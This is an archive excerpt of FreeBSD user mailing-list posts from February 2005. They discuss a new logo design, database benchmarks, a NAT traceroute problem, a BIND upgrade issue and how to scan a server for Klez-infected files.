Feb 2005 18:58:49 +0100 In-Reply-To: <1607774471.20050211175848@wanadoo.fr> References: <3eb7abf62bd14b74a7ce8eaa32f31efb@czv.com> <1607774471.20050211175848@wanadoo.fr> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <6b555740cb3a7ecaccae0039bbb6e23f@czv.com> Content-Transfer-Encoding: 7bit From: Chris Zumbrunn Date: Fri, 11 Feb 2005 18:59:22 +0100 To: freebsd-advocacy@freebsd.org X-Mailer: Apple Mail (2.619.2) cc: freebsd-questions@freebsd.org Subject: Re: New FreeBSD logo and website design X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:59:25 -0000 On Feb 11, 2005, at 5:58 PM, Anthony Atkielski wrote: > Nice. It still has that devilish look to it, which might cause a > problem politically, but at least it's clean and simple and easy to > print. :-) Generally, in the discussion so far, almost everybody jumped through the hoops to emphasize that the need for a new logo is based on the need for a clean professional look and printability (scaling and cost due to colors) - and not about the political correctness. > The fine details on Beastie might be a problem at very small > sizes. (It has occurred to me that a logo using only part of Beastie > might be able to get around the small-detail problem.) I redid our beloved beastie in a simplified way that eliminates this problem sufficiently. Take a look at the following example which is reduced to just 28x42 pixels! And this is on screen! - when printing, it is possible to go even smaller with this design without any trouble. No need to drop beastie as the freebsd logo for this reason: http://top.ch/sitedata/freebsd/minibeastie.gif Chris chris@czv.com +41 329 41 41 41 Chris Zumbrunn Ventures - http://www.czv.com/ Internet Application Technology - Reduced to the Maximum From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 18:04:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6365F16A4CE for ; Fri, 11 Feb 2005 18:04:06 +0000 (GMT) Received: from smtpauth09.mail.atl.earthlink.net (smtpauth09.mail.atl.earthlink.net [209.86.89.69]) by mx1.FreeBSD.org (Postfix) with ESMTP id 268B343D46 for ; Fri, 11 Feb 2005 18:04:06 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=yoda.datawok.com) by smtpauth09.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1Czf9B-0004jy-FW; Fri, 11 Feb 2005 13:04:05 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 12:04:34 -0600 User-Agent: KMail/1.6.2 References: <20050209202922.GA18393@fw.farid-hajji.net> <86d5v7npya.fsf@xps.des.no> In-Reply-To: <86d5v7npya.fsf@xps.des.no> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-Id: <200502111204.34036.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bc754c83d0517ce30d6d794a03b37f8b5c350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: cpghost@cordula.ws Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 18:04:06 -0000 On Friday 11 February 2005 08:14 am, Dag-Erling Sm=F8rgrav wrote: > cpghost@cordula.ws writes: > > Imagine Linux dropping Tux for some meanlingless, lifeless logo? > > I'm glad you asked. > > Tux is a mascot, not a logo. These are Linux logos: > > http://images.slashdot.org/topics/topiccaldera.gif > http://images.slashdot.org/topics/topicdebian.gif > http://images.slashdot.org/topics/topicmandrake.gif > http://images.slashdot.org/topics/topicredhat.gif > http://images.slashdot.org/topics/topicsuse.gif > http://images.slashdot.org/topics/topicturbolinux.gif > > > DES No Slackware? In my opinion, Slackware has the widest deviation in=20 professionalism between their logo and mascot.=20 logo(s): http://slackware.com/grfx/shared/logo.png http://store.slackware.com/images/nav/s_topleft.png mascot (pipe-smoking penguin): http://store.slackware.com/cgi-bin/store/slacklapel?id=3DE844B2UK:mv_pc=3D3= 79 They also have a "When you get serious" Slackware t-shirt that I like. =20 I wish I had thought of that for FreeBSD. http://store.slackware.com/cgi-bin/store/serious?id=3DE844B2UK:mv_pc=3D426 Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 18:21:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A18D916A4CE for ; Fri, 11 Feb 2005 18:21:39 +0000 (GMT) Received: from smtpauth03.mail.atl.earthlink.net (smtpauth03.mail.atl.earthlink.net [209.86.89.63]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4AE1343D48 for ; Fri, 11 Feb 2005 18:21:39 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth03.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CzfQA-0002VI-Un; Fri, 11 Feb 2005 13:21:39 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 12:22:07 -0600 User-Agent: KMail/1.6.2 References: <20050211164603.43213.qmail@web50310.mail.yahoo.com> In-Reply-To: <20050211164603.43213.qmail@web50310.mail.yahoo.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502111222.07089.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bc04dac1f449381944187506f78b4ce488350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: "Jorge Mario G." Subject: Re: (mySQL) benchmarks strike back X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 18:21:39 -0000 On Friday 11 February 2005 10:46 am, Jorge Mario G. wrote: > Hi there > > I just read > http://software.newsforge.com/software/04/12/27/1243207.shtml?tid=72& >tid=29%20result and as in any onther benchmark there is a lot stuff > that > can be arguable. I would like to know why is that > happening? > the problem is that "we" are pushing > FreeBSD/postgreSQL as a database solution, and I am > the guy to blame to, because I was the one who did > advocacy for FreeBSD, so I'm sure my boss is going to > ask me. And you told us to use FreeBSD instead of > Linux? > and I do not want to answer him "beastie is way more > cool" > > I'm doing my own research but some help from here > would be nice!!! > > > Jorge Mario Mazo > Interesting article; but how does it relate to the real world. I'm not saying that the benchmarks aren't valid. Perhaps Linux has gained advantages in performance over FreeBSD -- I don't know, I'm not qualified to say. Regardless, benchmark test results should not be the only criteria for selecting an operating system. Be wary of anyone who tells you otherwise. 1. YMMV (Your mileage may vary.) I've seen benchmarks that favor Linux before; but when I've tested Linux using complex queries with large databases, the system slowed much more noticeably than with FreeBSD. This is based upon my perceptions rather than benchmarks; but it reflects the system's effect upon my productivity, which is very real. Linux may have improved since then; but it demonstrates that benchmark tests do not always reflect what happens outside of the laboratory. You should run comparisons using activities that reflect your computing needs. 2. Security -- See the link below. (beware of wordwrap) http://www.mi2g.com/cgi/mi2g/frameset.php?pageid=http%3A//www.mi2g.com/cgi/mi2g/press/021104.php 3. Usability -- FreeBSD differs from Linux in many ways. For me, the file system hierarchy and the way the operating system works makes more sense to me. FreeBSD was easier for me to learn and to use. 4. The Linux distro used was Gentoo, which promotes system optimizations. For example: Whereas most distributions install a generic kernel, the Gentoo installation defaults to compiling a new kernel that is customized to the hardware. Did the testers perform similar steps with other operating systems? Also, opinions as to whether Gentoo is suitable for a production server are polarized. Linux gamers tend to say "yes". More conservative users often say, "no". Running the benchmarks using SUSE Professional, Slackware or Debian (or others) would have provided more comfort to business users. 5. Is MySQL different from PostgreSQL in ways that should affect the relevance of the benchmark tests to your situation? (See item #1.) Best of luck, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 18:36:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A43F616A4CF for ; Fri, 11 Feb 2005 18:36:17 +0000 (GMT) Received: from mta13.adelphia.net (mta13.adelphia.net [68.168.78.44]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3AE5943D55 for ; Fri, 11 Feb 2005 18:36:10 +0000 (GMT) (envelope-from wacky@wacky.ws) Received: from eclipse.wacky.ws ([69.164.103.201]) by mta13.adelphia.net (InterMail vM.6.01.03.04 201-2131-111-106-20040729) with SMTP id <20050211183605.RZGD26752.mta13.adelphia.net@eclipse.wacky.ws> for ; Fri, 11 Feb 2005 13:36:05 -0500 Date: Fri, 11 Feb 2005 13:36:04 -0500 From: Chris Johnson To: freebsd-questions@freebsd.org Message-Id: <20050211133604.262029c8.wacky@wacky.ws> X-Mailer: Sylpheed version 0.9.99-gtk2-20041024 (GTK+ 2.4.9; i386-portbld-freebsd4.9) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: traceroute/udp issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 18:36:17 -0000 My laptop can not seem to traceroute using nat. I am running ipnat on 4.11-stable (code is new as of today) My router is running the same. I cant seem to traceroute using udp, if i -P icmp it will work fine. I have no ipfw rules blocking this and have tried with 0 firewall rules and still got nothing. Below is a few outputs from tcpdump and my ipnat.rules. Thanks I ran a traceroute to google.com from my laptop, below are the outputs of tcpdump -i udp from while the trace was running. Also note that i have net.inet.ip.stealth enabled so you wont see the first hop from my laptop to my router. But i have tried disabling this and it does not make a difference. Also i can traceroute fine from the router itself and from another box behind the router. Also i wanted to add that the laptop also has a public ip address along with ipv6 and when i -s public_addy i can trace fine. The router itself also runs zebra/bgpd. The Traceroute traceroute to google.com (216.239.57.99), 64 hops max, 44 byte packets 1 * * * 2 * * * 3 * * * 4 * *^C Laptop during traceroute tcpdump: listening on ed1 13:12:06.536437 1.10.8.2.33566 > 216.239.39.99.33439: udp 16 13:12:06.958107 bleh.wacky.ws.2195 > ns1.wacky.ws.domain: 28002+ PTR? 99.39.239.216.inaddr.arpa. (44) 13:12:07.065390 ns1.wacky.ws.domain > bleh.wacky.ws.2195: 28002 NXDomain 0/1/0 (104) 13:12:07.066478 bleh.wacky.ws.3651 > ns1.wacky.ws.domain: 28003+ PTR? 2.8.10.1.in-addr.arpa. (39) 13:12:07.067610 ns1.wacky.ws.domain > bleh.wacky.ws.3651: 28003 NXDomain 0/1/0 (103) 13:12:08.066818 bleh.wacky.ws.3495 > ns1.wacky.ws.domain: 28004+ PTR? 11.97.130.67.in-addr.arpa. (43) 13:12:08.068268 ns1.wacky.ws.domain > bleh.wacky.ws.3495: 28004 1/2/2 (145) 13:12:08.068920 bleh.wacky.ws.3673 > ns1.wacky.ws.domain: 28005+ PTR? 10.97.130.67.in-addr.arpa. (43) 13:12:08.070104 ns1.wacky.ws.domain > bleh.wacky.ws.3673: 28005 1/2/2 (149) 13:12:11.546509 1.10.8.2.33566 > 216.239.39.99.33440: udp 16 Router during traceroute tcpdump: listening on rl0 13:14:49.078748 ma-rockland-cuda1h-204.albyny.adelphia.net.33568 > 216.239.39.99.33439: udp 16 [ttl 1] 13:14:49.159051 ma-rockland-cuda1h-204.albyny.adelphia.net.1282 > nscache1.albyny.adelphia.net.domain: 60589+ PTR? 99.39.239.216.in-addr.arpa. (44) 13:14:49.235372 nscache1.albyny.adelphia.net.domain > ma-rockland-cuda1h-204.albyny.adelphia.net.1282: 60589 NXDomain 0/1/0 (104) (DF) 13:14:49.235751 ma-rockland-cuda1h-204.albyny.adelphia.net.4579 > nscache1.albyny.adelphia.net.domain: 60590+ PTR? 201.103.164.69.in-addr.arpa. (45) 13:14:49.255934 nscache1.albyny.adelphia.net.domain > ma-rockland-cuda1h-204.albyny.adelphia.net.4579: 60590 1/3/3 (203) (DF) 13:14:50.256171 ma-rockland-cuda1h-204.albyny.adelphia.net.4785 > nscache1.albyny.adelphia.net.domain: 60591+ PTR? 2.96.168.68.in-addr.arpa. (42) 13:14:50.278134 nscache1.albyny.adelphia.net.domain > ma-rockland-cuda1h-204.albyny.adelphia.net.4785: 60591 1/3/3 PTR[|domain] (DF) 13:14:54.086174 ma-rockland-cuda1h-204.albyny.adelphia.net.33568 > 216.239.39.99.33440: udp 16 [ttl 1] ifconfig output oflaptop ed1: flags=8843 mtu 1500 inet 1.10.8.2 netmask 0xffffff00 broadcast 1.10.8.255 inet6 fe80::204:5aff:fea1:f7cf%ed1 prefixlen 64 scopeid 0x6 inet6 2001:x:x::x prefixlen 48 inet x.x.x.x netmask 0xff000000 broadcast 67.255.255.255 ether 00:04:5a:a1:f7:cf media: Ethernet autoselect (100baseTX ) status: active ipnat.rules from the router map rl0 1.10.8.0/24 -> 0.0.0.0/32 Thank you -- Christopher Johnson - From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 18:46:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 03FE516A4CE for ; Fri, 11 Feb 2005 18:46:13 +0000 (GMT) Received: from enigmedia.com (mail.enigmedia.com [207.158.46.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id B869B43D45 for ; Fri, 11 Feb 2005 18:46:12 +0000 (GMT) (envelope-from aklist_061666@enigmedia.com) Received: from ANDREW9KNFJ0JD (68.161.247.47) by enigmedia.com with ESMTP (Eudora Internet Mail Server 3.2.6) for ; Fri, 11 Feb 2005 13:46:12 -0500 Message-ID: <002001c5106a$08495a90$0b01a8c0@enigmedia.net> From: "aklist_061666" To: Date: Fri, 11 Feb 2005 13:46:43 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: Newbie upgrade problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 18:46:13 -0000 Hi: I upgraded from freebsd 5.1 to 5.3, and the upgrade went pretty smoothly. I had BIND 9.2.3 running on 5.1, and when I upgraded to 5.3, BIND 9.3.0 was installed. my old named.conf file is still in /etc, but 9.3.0 doesn't seem to be reading it. I tried restarting bind with /usr/sbin/named -4 -c /etc/named.conf and it loaded, but for each file in etc/named.conf I received an error: Feb 11 12:54:09 ns2 named[661]: starting BIND 9.3.0 -4 -c /etc/named.conf Feb 11 12:54:09 ns2 named[661]: could not listen on UDP socket: address in use Feb 11 12:54:09 ns2 named[661]: creating IPv4 interface xl0 failed; interface ig nored Feb 11 12:54:09 ns2 named[661]: could not listen on UDP socket: address in use Feb 11 12:54:09 ns2 named[661]: creating IPv4 interface lo0 failed; interface ig nored Feb 11 12:54:09 ns2 named[661]: not listening on any interfaces Feb 11 12:54:09 ns2 named[661]: command channel listening on 0.0.0.0#953 Feb 11 12:54:10 ns2 named[596]: client 192.168.1.40#59629: received notify for z one 'climateiseverything.com': not authoritative ...[lots of zones have that error Feb 11 13:35:05 ns2 named[278]: zone 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 .0.0.0.0.0.0.0.0.0.0.IP6.ARPA/IN: loading master file master/localhost-v6.rev: f ile not found Feb 11 13:35:05 ns2 named[278]: zone 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 .0.0.0.0.0.0.0.0.0.0.IP6.INT/IN: loading master file master/localhost-v6.rev: fi le not found From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 18:55:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E43B616A4CE for ; Fri, 11 Feb 2005 18:55:46 +0000 (GMT) Received: from gwhs.kana.k12.wv.us (gwhs.kana.k12.wv.us [168.216.25.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8A29C43D31 for ; Fri, 11 Feb 2005 18:55:46 +0000 (GMT) (envelope-from donathan@gwhs.kana.k12.wv.us) Received: by gwhs.kana.k12.wv.us (Postfix, from userid 1001) id 97D9233C7C; Fri, 11 Feb 2005 13:55:45 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by gwhs.kana.k12.wv.us (Postfix) with ESMTP id 8FA8233C7B for ; Fri, 11 Feb 2005 13:55:45 -0500 (EST) Date: Fri, 11 Feb 2005 13:55:45 -0500 (EST) From: Karen Donathan To: freebsd-questions@FreeBSD.org Message-ID: <20050211135111.D33012@gwhs.kana.k12.wv.us> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: Virus question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 18:55:47 -0000 To Whom it may concern: My name is Karen Donathan and I am a computer science teacher at George Washington High School in Charleston, WV. We run our website (http://gwhs.kana.k12.wv.us) on a FreeBSD server. This project was given to me, and I am afraid that I really should know more about how this works. My question is as follows: How can I run a virus scan on my system? What scan do you recommend? The reason I am asking this question is that our school system administrator just found that there were some files infected with Klez.h in the webroot directory of our server. He found this out as he downloaded some files from this directory to our Windows-XP school server, and Norton flagged it right away. Any suggestions? Thank you, Karen Donathan From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 18:55:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A4ED716A4CE for ; Fri, 11 Feb 2005 18:55:56 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4E4EF43D3F for ; Fri, 11 Feb 2005 18:55:56 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1CzfxL-0006Dl-7w; Fri, 11 Feb 2005 19:55:55 +0100 Date: Fri, 11 Feb 2005 19:55:52 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <5326005964.20050211195552@hexren.net> To: "aklist_061666" In-Reply-To: <002001c5106a$08495a90$0b01a8c0@enigmedia.net> References: <002001c5106a$08495a90$0b01a8c0@enigmedia.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Newbie upgrade problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 18:55:56 -0000 a> Hi: I upgraded from freebsd 5.1 to 5.3, and the upgrade went pretty a> smoothly. a> I had BIND 9.2.3 running on 5.1, and when I upgraded to 5.3, BIND 9.3.0 was a> installed. a> my old named.conf file is still in /etc, but 9.3.0 doesn't seem to be a> reading it. a> I tried restarting bind with /usr/sbin/named -4 -c /etc/named.conf a> and it loaded, but for each file in etc/named.conf I received an error: a> Feb 11 12:54:09 ns2 named[661]: starting BIND 9.3.0 -4 -c /etc/named.conf a> Feb 11 12:54:09 ns2 named[661]: could not listen on UDP socket: address in a> use a> Feb 11 12:54:09 ns2 named[661]: creating IPv4 interface xl0 failed; a> interface ig a> nored a> Feb 11 12:54:09 ns2 named[661]: could not listen on UDP socket: address in a> use a> Feb 11 12:54:09 ns2 named[661]: creating IPv4 interface lo0 failed; a> interface ig a> nored a> Feb 11 12:54:09 ns2 named[661]: not listening on any interfaces a> Feb 11 12:54:09 ns2 named[661]: command channel listening on 0.0.0.0#953 a> Feb 11 12:54:10 ns2 named[596]: client 192.168.1.40#59629: received notify a> for z a> one 'climateiseverything.com': not authoritative a> ...[lots of zones have that error a> Feb 11 13:35:05 ns2 named[278]: zone a> 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 a> .0.0.0.0.0.0.0.0.0.0.IP6.ARPA/IN: loading master file a> master/localhost-v6.rev: f a> ile not found a> Feb 11 13:35:05 ns2 named[278]: zone a> 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 a> .0.0.0.0.0.0.0.0.0.0.IP6.INT/IN: loading master file a> master/localhost-v6.rev: fi a> le not found a> _______________________________________________ a> freebsd-questions@freebsd.org mailing list a> http://lists.freebsd.org/mailman/listinfo/freebsd-questions a> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" --------------------------------------------- I am really not that big in BIND but before you start BIND have you checked if port 53 is already in use as "could not listen on UDP socket: address in use" seems to imply that. Hexren From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 19:00:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C7C3F16A4CE for ; Fri, 11 Feb 2005 19:00:02 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7422D43D46 for ; Fri, 11 Feb 2005 19:00:02 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [127.0.0.1] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id 7FC6A34538A; Fri, 11 Feb 2005 14:00:00 -0500 (EST) In-Reply-To: <20050211135111.D33012@gwhs.kana.k12.wv.us> References: <20050211135111.D33012@gwhs.kana.k12.wv.us> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Fri, 11 Feb 2005 13:59:58 -0500 To: Karen Donathan X-Mailer: Apple Mail (2.619.2) cc: freebsd-questions@FreeBSD.org Subject: Re: Virus question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 19:00:02 -0000 On Feb 11, 2005, at 1:55 PM, Karen Donathan wrote: > To Whom it may concern: > > My name is Karen Donathan and I am a computer science teacher at > George Washington High School in Charleston, WV. We run our website > (http://gwhs.kana.k12.wv.us) on a FreeBSD server. This project was > given to me, and I am afraid that I really should know more about how > this works. > > My question is as follows: How can I run a virus scan on my system? > What scan do you recommend? > > The reason I am asking this question is that our school system > administrator just found that there were some files infected with > Klez.h in the webroot directory of our server. He found this out as > he downloaded some files from this directory to our Windows-XP school > server, and Norton flagged it right away. > > Any suggestions? The FreeBSD server itself is immune to that virus. I'd look at the files and ask how they got there (who put them there). Second, personally I'd recommend you go into the ports tree and install ClamAV. Then you can run Clamscan and that will flag which files are "infected". Then you can go through and delete them or quarantine them. -Bart From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 19:08:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E6B8416A4CE for ; Fri, 11 Feb 2005 19:08:34 +0000 (GMT) Received: from mail-core.space2u.com (mail-core.space2u.com [62.20.1.181]) by mx1.FreeBSD.org (Postfix) with ESMTP id 28DBE43D2D for ; Fri, 11 Feb 2005 19:08:34 +0000 (GMT) (envelope-from jd@dagerot.com) Received: from localhost (www-core.space2u.com [62.20.1.180]) by mail-core.space2u.com (8.13.3/8.13.2) with ESMTP id j1BJ8PZP022280; Fri, 11 Feb 2005 20:08:25 +0100 Date: Fri, 11 Feb 2005 20:08:25 +0100 Message-Id: <200502111908.j1BJ8PZP022280@mail-core.space2u.com> MIME-Version: 1.0 From: "Joachim Dagerot" To: freebsd-questions@freebsd.org Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit cc: aklist_061666@enigmedia.com Subject: re: Newbie upgrade problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 19:08:35 -0000 >Hi: I upgraded from freebsd 5.1 to 5.3, and the upgrade went pretty smoothly. May I ask if you had any guide that you followed nad if you please could post a link to it here. I'm just about to upgrade my system from 5.1 to the latest, but I don't know where to start, and I haven't got any answers when asking on this list. Kind regards, Joachim From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 19:21:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2466616A4CE for ; Fri, 11 Feb 2005 19:21:27 +0000 (GMT) Received: from mail22.sea5.speakeasy.net (mail22.sea5.speakeasy.net [69.17.117.24]) by mx1.FreeBSD.org (Postfix) with ESMTP id C949F43D1F for ; Fri, 11 Feb 2005 19:21:26 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 29228 invoked from network); 11 Feb 2005 19:21:26 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail22.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 11 Feb 2005 19:21:26 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 0B4B87F; Fri, 11 Feb 2005 14:21:24 -0500 (EST) Sender: lowell@be-well.ilk.org To: "Joachim Dagerot" References: <200502111908.j1BJ8PZP022280@mail-core.space2u.com> From: Lowell Gilbert Date: 11 Feb 2005 14:21:24 -0500 In-Reply-To: <200502111908.j1BJ8PZP022280@mail-core.space2u.com> Message-ID: <448y5uq4wb.fsf@be-well.ilk.org> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: Newbie upgrade problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 19:21:27 -0000 "Joachim Dagerot" writes: > > May I ask if you had any guide that you followed nad if you please could post a link to it here. > > I'm just about to upgrade my system from 5.1 to the latest, but I don't know where to start, and I haven't got any answers when asking on this list. Hey; give it at least 24 hours for people to respond. The directions for upgrading are part of the FreeBSD Handbook. http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/cutting-edge.html From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 19:31:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EF4AF16A4CE for ; Fri, 11 Feb 2005 19:31:07 +0000 (GMT) Received: from enigmedia.com (mail.enigmedia.com [207.158.46.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id C335043D46 for ; Fri, 11 Feb 2005 19:31:07 +0000 (GMT) (envelope-from aklist_061666@enigmedia.com) Received: from ANDREW9KNFJ0JD (68.161.247.47) by enigmedia.com with ESMTP (Eudora Internet Mail Server 3.2.6) for ; Fri, 11 Feb 2005 14:31:07 -0500 Message-ID: <00e901c51070$4ed460d0$0b01a8c0@enigmedia.net> From: "aklist_061666" To: Date: Fri, 11 Feb 2005 14:31:38 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: Newbie: where is the startup configuration line for BIND? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 19:31:08 -0000 Hi All: I just upgraded from freebsd 5.1 to 5.3, and I want to edit the startup parameters for named so that it reads my previous config file, basically I want the startup parameter to be: /usr/sbin/named -4 -c /etc/named.conf But I can't find where that command string is? all that is in my /etc/rc.conf is "named_enable="YES" " I have another file called /etc/rc.conf~ which has the line: "named_program="/urs/sbin/named" " But is that file a backup file or is it actually used? Or do I just need to modify that line with the parameters I want it to start up with? Thanks! From 